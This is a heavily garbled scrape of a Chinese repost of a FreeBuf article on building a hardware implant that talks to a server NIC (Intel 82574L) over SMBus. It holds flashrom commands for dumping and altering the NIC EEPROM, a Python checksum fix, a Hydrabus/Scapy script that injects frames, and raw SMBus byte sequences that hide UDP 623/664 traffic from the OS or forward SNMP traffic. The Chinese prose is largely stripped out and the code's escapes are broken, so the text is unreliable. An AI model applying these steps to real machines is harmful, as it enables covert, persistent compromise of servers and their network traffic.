[13527] 2018-12-13_搭建自己的硬件植入工具

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2018-12-13_搭建自己的硬件植入工具   F r e e B u f   2 0 1 8 - 1 2 - 1 3 N I C B M C I P M I I P M I I P M I C P U B I O S U E F I I P M I   N I C   S M B u s N C - S I N C - S I S M B u s 1 0 使 S M B u s S M B u s 线 S M B u s 线 线 O N   /   O F F I ² C 使 B M C 使 I n t e l 8 2 5 7 4 L S M B u s P C I - E 使
访 访 S M B u s 8 2 5 7 4 L I n t e l   E X P I 9 3 0 1 C T B L K ? S M B _ D A T S M B _ A L R T _ N P C B h e a d e r I ² C S M B u s 西 使 S M B u s E E P R O M S M B u s 访 访 S M B u s 访 N I C   E E P R O M E E P R O M f l a s h r o m E E P R O M : N V M 1 . I n i t   C o n t r o l   W o r d   2   [   M N G M ] 2 . [ A S F   S M B u s ] 3 . [ S M B u s ] E E P R O M C h e c k s u m [ 0 x 0 0 - 0 x 4 0 ] 0 x B A B A P y t h o n E E P R O M >   . / f l a s h r o m   - p   b u s p i r a t e _ s p i : d e v = / d e v / h y d r a b u s   - - r e a d   / t m p / f l a s h . d u m p f l a s h r o m   p 1 . 0 - 8 7 - g 9 8 9 1 b 7 5 - d i r t y   o n   L i n u x   4 . 1 8 . 1 2 - a r c h 1 - 1 - A R C H   ( x 8 6 _ 6 4 ) f l a s h r o m   i s   f r e e   s o f t w a r e ,   g e t   t h e   s o u r c e   c o d e   a t   h t t p s : / / f l a s h r o m . o r g U s i n g   c l o c k _ g e t t i m e   f o r   d e l a y   l o o p s   ( c l k _ i d :   1 ,   r e s o l u t i o n :   1 n s ) . F o u n d   W i n b o n d   f l a s h   c h i p   " W 2 5 X 4 0 "   ( 5 1 2   k B ,   S P I )   o n   b u s p i r a t e _ s p i . R e a d i n g   f l a s h . . .   d o n e . i m p o r t   s t r u c t d a t a   =   o p e n ( ' / t m p / f l a s h . m o d ' ,   ' r b ' ) . r e a d ( ) t o t   =   0 f o r   i   i n   r a n g e ( 0 x 3 f ) :         t o t   =   ( t o t   +   s t r u c t . u n p a c k ( ' < H ' , d a t a [ 2 * i : ( 2 * i ) + 2 ] ) [ 0 ] )   &   0 x f f f f p r i n t ( " C h e c k s u m   w o r d   m u s t   b e   :   "   +   h e x ( 0 x b a b a - t o t ) ) # C h e c k s u m   w o r d   m u s t   b e   :   0 x 9 e f b
E E P R O M I ² C I ² C 7 使 , N I C N I C 8 . 4 . 4 P E C ( S M B u s ) 使 C M D @ S L A V E : [ S T A R T ] [ S T O P ] I ² C S T A R T S T O P M A C 0 x D 4 I ² C S M B u s H y d r a b u s <   0 0 0 0 0 0 0 0 :   6 8 0 5   c a 8 9   b 2 2 e   2 0 0 4   4 6 f 7   8 0 1 0   f f f f   f f f f   h . . . . .   . F . . . . . . . >   0 0 0 0 0 0 0 0 :   6 8 0 5   c a 8 9   b 2 2 e   3 0 1 4   4 6 f 7   8 0 1 0   f f f f   f f f f   h . . . . . 0 . F . . . . . . . <   0 0 0 0 0 0 1 0 :   6 9 e 4   0 8 8 1   6 b 0 2   1 f a 0   8 6 8 0   d 3 1 0   f f f f   5 a 9 c   i . . . k . . . . . . . . . Z . >   0 0 0 0 0 0 1 0 :   6 9 e 4   0 8 8 1   6 b 0 2   1 f a 0   8 6 8 0   d 3 1 0   f f f f   5 a d c   i . . . k . . . . . . . . . Z . <   0 0 0 0 0 0 7 0 :   f f f f   f f f f   f f f f   f f f f   f f f f   3 0 0 1   f f f f   0 b e f   . . . . . . . . . . 0 . . . . . >   0 0 0 0 0 0 7 0 :   f f f f   f f f f   f f f f   f f f f   f f f f   3 0 0 1   f f f f   f b 9 e   . . . . . . . . . . 0 . . . . . i 2 c 1 >   s c a n D e v i c e   f o u n d   a t   a d d r e s s   0 x 4 9 i 2 c 1 > 0 x 4 9   < <   1   =   0 x 9 2 [ S T A R T ]   [ @ S L A V E ]   [ C M D ]   (   [ S T A R T ]   [ @ S L A V E ]   [ R E A D _ D A T A ]   )   [ S T O P ] [ S T A R T ]   [ 0 x 9 2 ]   [ 0 x D 4 ]   [ S T A R T ]   [ 0 x 9 2 ]   [ r e a d   8   b y t e s ]   [ S T O P ] i 2 c 1 >   [   0 x 9 2   0 x d 4   [   0 x 9 2   h d : 2   h d : 6   ] I 2 C   S T A R T W R I T E :   0 x 9 2   A C K   0 x D 4   A C K                         < = =   [ N I C   a d d r e s s ]   [ c o m m a n d ] I 2 C   S T A R T                                                       < = =   S w i t c h   s t a t e   W R I T E :   0 x 9 2   A C K                                           < = =   [ N I C   a d d r e s s ] 0 7   D 4   |   . .                                                     < = =   R e a d   [ l e n g t h ]   [ h e a d e r ] 6 8   0 5   C A   8 9   B 2   2 E   |   h . . . . .                     < = =   R e a d   M A C   a d d r e s s   b y t e s N A C K I 2 C   S T O P
N I C 使 8 便 使 H y d r a b u s B u s   P i r a t e [ t c p d u m p S M B u s ,   N I C , 使 1 . P C I e S M B u s i m p o r t   s e r i a l   i m p o r t   s t r u c t f r o m   s c a p y . a l l   i m p o r t   * s e r   =   s e r i a l . S e r i a l ( ' / d e v / t t y A C M 0 ' , 1 1 5 2 0 0 ) d e f   s e n d _ f r a m e ( p k t ) :         #   D e f i n e   t h e   f r a m e   s i z e         p k t l e n   =   s t r u c t . p a c k ( " B " ,   l e n ( p k t ) )         #   D e f i n e   t h e   d a t a   l e n g t h   t o   b e   s e n t         f u l l l e n   =   s t r u c t . p a c k ( " > h " ,   l e n ( p k t ) + 3 )         #   I 2 C   w r i t e - t h e n - r e a d .   S e n d   f r a m e   +   S M B u s   h e a d e r ,   r e c e i v e   0         s e r . w r i t e ( ' x 0 8 ' + f u l l l e n + ' x 0 0 x 0 0 ' )         s e r . w r i t e ( " x 9 2 x c 4 " + p k t l e n + p k t )         #   I f   p a c k e t   h a s   b e e n   s e n t   s u c c e s s f u l l y         i f   s e r . r e a d ( 1 )   = =   ' x 0 1 ' :                 p r i n t   " S e n d   O K "         e l s e :                 p r i n t   " E r r o r   s e n d i n g "                 s e r . w r i t e ( ' x 0 0 ' )                 s e r . w r i t e ( ' x 0 0 ' )                 s e r . w r i t e ( ' x 0 F n ' )                 q u i t ( ) #   O p e n   H y d r a b u s   i n   b i n a r y   m o d e f o r   i   i n   x r a n g e ( 2 0 ) :         s e r . w r i t e ( " x 0 0 " )         i f   " B B I O 1 "   n o t   i n   s e r . r e a d ( 5 ) :                 p r i n t   " C o u l d   n o t   g e t   i n t o   b i n a r y   m o d e "                 q u i t ( ) #   S w i t c h   t o   I 2 C   m o d e s e r . w r i t e ( ' x 0 2 ' ) i f   " I 2 C 1 "   n o t   i n   s e r . r e a d ( 4 ) :         p r i n t   " C a n n o t   s e t   I 2 C   m o d e "         q u i t ( ) # C r e a t e   t h e   f r a m e   t o   s e n d p   =   E t h e r ( ) / I C M P ( ) # S e n d   t h e   f r a m e s e n d _ f r a m e ( s t r ( p ) ) #   R e t u r n   t o   m a i n   b i n a r y   m o d e s e r . w r i t e ( ' x 0 0 ' ) # r e s e t   t o   c o n s o l e   m o d e s e r . w r i t e ( ' x 0 F n ' )
2 . S M B u s 使 3 . 1 U D P   /   T C P 2 V L A N 3 . I P v 4   -   I P v 6 4 . M A C 便 I n t e l 使 r e c e i v e   e n a b l e i m p l a n t S M B u s N I C S M B u s 使 S M B u s R e c e i v e   T C O S M B _ A L R T _ N 1 . U D P 6 2 3 2 . H y d r a b u s 3 . 使 S c a p y S M B u s t c p d u m p M A N C 2 H S M B u s P C I e / / D i s a b l e   f i l t e r i n g   g l o b a l l y [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 0   ] / / C o n f i g u r e   M D E F [ 0 ]   t o   r e c e i v e   f r a m e s   c o m i n g   t o   U D P / 6 6 4   a n d   U D P / 6 2 3 [   0 x 9 2   0 x c c   0 x 0 6   0 x 6 1   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 c   0 x 0 0   ] / / C o n f i g u r e   M A N C 2 H   t o   d i s a l l o w   f o r w a r d i n g   t o   t h e   O S [   0 x 9 2   0 x c c   0 x 0 5   0 x 0 a   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 0   ] / /   E n a b l e   f i l t e r i n g   ( S M B u s   a l e r t i n g ,   s t a t u s   r e p o r t i n g   /   E n a b l e ) [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 5   ] f r o m   s c a p y . a l l   i m p o r t   * p = E t h e r ( ) / I P ( d s t = " 1 0 . 3 1 . 3 2 . 8 1 " ) / U D P ( d p o r t = 0 x 2 6 f ) / " M A L I C I O U S   P A Y L O A D " w h i l e ( 1 ) : s e n d p ( p )
U D P / 1 6 1   ( S N M P ) S M B u s P C I e : S N M P S M B u s P C I e N I C V c c G N D C L K D A T N I C 1 . 2 . 3 . 使 H y d r a b u s I ² C /   S M B u s A T t i n y 8 5 N I C E E P R O M 访 S M B u s 访 B M C 访 线 1 0 0 K b   / 使 * k u d e l s k i s e c u r i t y F r e e B u f . C O M / / D i s a b l e   f i l t e r i n g   g l o b a l l y [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 0   ] / / C r e a t e   t h e   f l e x   p o r t   f i l t e r   0   o n   p o r t   1 6 1   ( 0 x a 1 ) [   0 x 9 2   0 x c c   0 x 0 4   0 x 6 3   0 x 0 0   0 x 0 0   0 x a 1   ] / / C o n f i g u r e   M D E F [ 0 ]   t o   a c c e p t   t r a f f i c   m a t c h i n g   f l e x   f i l t e r   0 [   0 x 9 2   0 x c c   0 x 0 6   0 x 6 1   0 x 0 0   0 x 0 0   0 x 0 0   0 x 1 0   0 x 0 0   ] / / C o n f i g u r e   M A N C 2 H   t o   a l l o w   f o r w a r d i n g   M D E F [ 0 ]   t r a f f i c   t o   P C I e [   0 x 9 2   0 x c c   0 x 0 5   0 x 0 a   0 x 0 0   0 x 0 0   0 x 0 0   0 x 0 0   ] / /   E n a b l e   f i l t e r i n g   ( S M B u s   a l e r t i n g ,   s t a t u s   r e p o r t i n g   /   E n a b l e ) [   0 x 9 2   0 x c a   0 x 0 1   0 x 4 5   ]

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则